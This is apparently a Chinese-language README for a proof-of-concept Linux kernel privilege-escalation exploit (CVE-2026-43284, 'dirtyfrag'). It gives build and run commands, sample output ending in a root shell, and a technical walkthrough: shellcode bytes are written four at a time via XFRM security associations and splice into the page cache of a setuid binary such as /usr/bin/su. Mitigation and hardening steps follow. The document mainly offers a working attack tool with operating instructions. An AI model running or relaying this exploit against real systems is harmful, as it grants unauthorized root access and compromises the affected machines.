CVE-2026-43284 — 4字节XFRM/ESP

概念验证 通过XFRM/ESP页缓存损坏实现本地权限提升
_{4字节写入原语 · 48次迭代 · 192字节ELF覆写 · 非特权用户 + netns}

概念验证

左图：内核预检、setuid 扫描及利用链  ·  右图：生成的 root shell —— id / whoami 确认 uid=0(root)
_{测试于 WSL2 · Ubuntu 24.04.1 LTS · 内核 6.6.87.2-microsoft-standard-WSL2}

  ╔═══════════════════════════════════════╗
  ║  SLEY - CVE-2026-43284 dirtyfrag PoC  ║
  ╚═══════════════════════════════════════╝

免责声明： 仅用于授权安全研究、教育以及测试您拥有或明确获得许可的系统。作者不对滥用行为负责。

概述

即使 algif_aead 被列入黑名单也能工作——该利用直接使用内核 XFRM/ESP 代码路径。

特性

利用前内置预检：

1. 内核配置 — 验证 CONFIG_USER_NS、CONFIG_XFRM、CONFIG_INET_ESP
   (读取 /boot/config-*、/lib/modules/*/config 或 WSL2 上的 /proc/config.gz)
2. Setuid 扫描 — 列出系统上的 SUID 二进制文件 (find / -perm -4000)
3. 利用 — 修补页缓存、通过 PTY 生成 root shell、退出时恢复目标

要求

内核选项

CONFIG_USER_NS=y
CONFIG_XFRM=y
CONFIG_INET_ESP=m   # 或 =y

快速检查：

# 物理机 / 虚拟机
grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS=' /boot/config-$(uname -r)

# WSL2
zcat /proc/config.gz | grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS='

其他

• Linux 内核易受 CVE-2026-43284 影响（参见补丁状态）
• gcc、libc、libutil（用于 forkpty）
• 可读的 setuid 目标二进制文件（默认：/usr/bin/su）

构建

git clone https://github.com/jayhutajulu1/CVE-2026-43284.git
cd CVE-2026-43284
make

或手动：

gcc -O0 -Wall -o sley-dirtyfrag sley-dirtyfrag.c -lutil

使用 -O0 是有意为之——优化可能破坏时间敏感的 splice/UDP 行为。

使用方法

1. 确认您是非特权用户

id
# uid=1000(youruser) gid=1000(youruser) groups=...

2. 运行利用程序

./sley-dirtyfrag                  # 默认目标：/usr/bin/su
./sley-dirtyfrag /usr/bin/passwd  # 自定义 setuid 二进制文件

该工具自动执行三个阶段：

3. 验证 root 权限

在生成的 shell 内：

id
# uid=0(root) gid=0(root) groups=0(root)

whoami
# root

4. 退出以恢复

按 Ctrl+D 或输入 exit。PoC 会清除页缓存，因此磁盘上的原始二进制文件会自动恢复。

如果恢复失败：

echo 3 | sudo tee /proc/sys/vm/drop_caches

命令参考

示例输出

┌─[ phase 1] 内核配置预检
  → /proc/config.gz
  [+] CONFIG_USER_NS        = y  (需要 =y)
  [+] CONFIG_XFRM           = y  (需要 =y)
  [+] CONFIG_INET_ESP       = m  (需要 =m 或 =y)
  内核选项 OK。

┌─[ phase 2] setuid 二进制扫描
  10 /usr/bin/su  ← 目标
  找到 14 个 setuid 二进制文件。

┌─[ phase 3] 利用
  [*] unshare userns+netns, 注册 48 个 XFRM SA, splice→UDP 4500...
  [+] corrupt               所有迭代完成
  [+] verify                ELF 补丁检测成功

  ╔══════════════════════════════════════╗
  ║  root shell — 退出以恢复              ║
  ╚══════════════════════════════════════╝

缓解措施

应用内核补丁（推荐）

操作： 升级到包含该修复的发行版内核，或从已修补的主线树构建。

# 检查当前运行的内核
uname -r

# 验证补丁是否存在（示例——根据您发行版的软件包命名调整）
# apt update && apt install --only-upgrade linux-image-$(uname -r)

强化选项（纵深防御）

限制非特权用户命名空间

此利用依赖于非 root 用户执行 unshare(CLONE_NEWUSER | CLONE_NEWNET)。

# 运行时（并非所有内核都存在）
sysctl kernel.unprivileged_userns_clone=0

# 或在构建时禁用
# CONFIG_USER_NS is not set

注意： 禁用用户命名空间会阻止这个 PoC，但不一定阻止 CVE-2026-43500（针对无 userns 系统的 rxrpc 变体）。

审计 setuid 二进制文件

find / -perm -4000 -type f 2>/dev/null
# 移除或强化不需要的二进制文件

怀疑被入侵时清除缓存

如果您认为 setuid 二进制文件已被内存中修补：

echo 3 | sudo tee /proc/sys/vm/drop_caches
# 通过包管理器/已知哈希重新验证二进制文件完整性

工作原理

1. unshare(CLONE_NEWUSER | CLONE_NEWNET) — 隔离的用户/网络命名空间（无需 root）。
2. 注册 48 个 XFRM 安全关联 — shellcode 字节编码在 ESN seq_hi 中（每个 SA 4 字节）。
3. 通过 UDP 端口 4500 触发，使用 UDP_ENCAP_ESPINUDP：
   • splice() 将目标文件读入管道
   • splice() 将数据从管道移动到 UDP 套接字
   • 页缓存的页面通过 skip_cow 路径进入 ESP 散聚列表
   • authencesn scatterwalk 在 assoclen + cryptlen 处写入 seq_hi
4. HMAC 失败——但页缓存的写入持续存在。
5. 执行已修补的 setuid 二进制文件——最小化 ELF 运行 setuid(0) / setgid(0) / execve("/bin/sh")。
6. ——清除页缓存 ()，使内核从磁盘重新加载干净文件。

测试环境

相关工作

• CVE-2026-43500 — 针对没有用户命名空间的系统的 rxrpc 变体；使用 8 字节 pcbc(fcrypt) 暴力原语攻击 /etc/passwd。不包含在此仓库中。

文件

许可证

按现状提供，仅用于研究和教育。请负责任地使用。

作者

SLEY — CVE-2026-43284 dirtyfrag PoC

如果这对您的研究有帮助，请考虑给仓库加星。